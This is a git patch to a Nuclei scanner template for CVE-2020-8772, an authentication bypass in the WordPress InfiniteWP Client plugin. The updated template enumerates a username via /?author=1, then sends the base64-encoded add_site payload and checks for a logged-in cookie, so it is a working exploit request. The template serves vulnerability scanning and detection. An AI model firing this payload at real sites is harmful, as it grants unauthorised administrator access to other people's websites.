From 9f5f0d669d05934f09a86dfea518537a2b0ae76f Mon Sep 17 00:00:00 2001
From: Prince Chaddha <prince@projectdiscovery.io>
Date: Sat, 6 Aug 2022 00:05:56 -0700
Subject: [PATCH] Update CVE-2020-8772.yaml

---
 cves/2020/CVE-2020-8772.yaml | 56 +++++++++++++++++++++++++++---------
 1 file changed, 42 insertions(+), 14 deletions(-)

diff --git a/cves/2020/CVE-2020-8772.yaml b/cves/2020/CVE-2020-8772.yaml
index 2518c9acf3..c59fb550c9 100644
--- a/cves/2020/CVE-2020-8772.yaml
+++ b/cves/2020/CVE-2020-8772.yaml
@@ -2,7 +2,7 @@ id: CVE-2020-8772
 
 info:
   name: WordPress InfiniteWP Client < 1.9.4.5 - Authentication Bypass
-  author: scent2d
+  author: princechaddha,scent2d
   severity: critical
   description: |
     The InfiniteWP Client plugin before 1.9.4.5 for WordPress has a missing
@@ -11,6 +11,7 @@ info:
   reference:
     - https://wpscan.com/vulnerability/10011
     - https://nvd.nist.gov/vuln/detail/CVE-2020-8772
+  remediation: Upgrade to InfiniteWP Client 1.9.4.5 or higher.
   metadata:
     verified: true
   tags: cve,cve2020,wordpress,wp-plugin,wp,infinitewp
@@ -18,22 +19,49 @@ info:
 requests:
   - raw:
       - |
-        POST / HTTP/1.1
+        GET /?author=1 HTTP/1.1
         Host: {{Hostname}}
-
-        _IWP_JSON_PREFIX_{{base64('{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}')}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+        Accept-Language: en-US,en;q=0.9
 
       - |
-        GET / HTTP/1.1
+        POST / HTTP/1.1
         Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Content-Type: application/x-www-form-urlencoded
 
-    cookie-reuse: true
-    req-condition: true
+        _IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}")}}
+
+    redirects: true
+    extractors:
+      - type: regex
+        name: username
+        internal: true
+        group: 1
+        part: body
+        regex:
+          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
+
+      - type: regex
+        name: username
+        internal: true
+        group: 1
+        part: header
+        regex:
+          - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
+
+    matchers-condition: and
     matchers:
-      - type: dsl
-        dsl:
-          - "contains(header_1, 'path=/wp-admin')"
-          - "contains(body_2, 'wp-admin-bar-') && contains(body_2, 'action=logout')"
-          - "status_code_2 == 200"
-          - "contains(all_headers_2, 'text/html')"
-        condition: and
+      - type: word
+        words:
+          - "wordpress_logged_in"
+        part: header
+
+      - type: word
+        words:
+          - "<IWPHEADER>"
+
+        part: body
+      - type: status
+        status:
+          - 200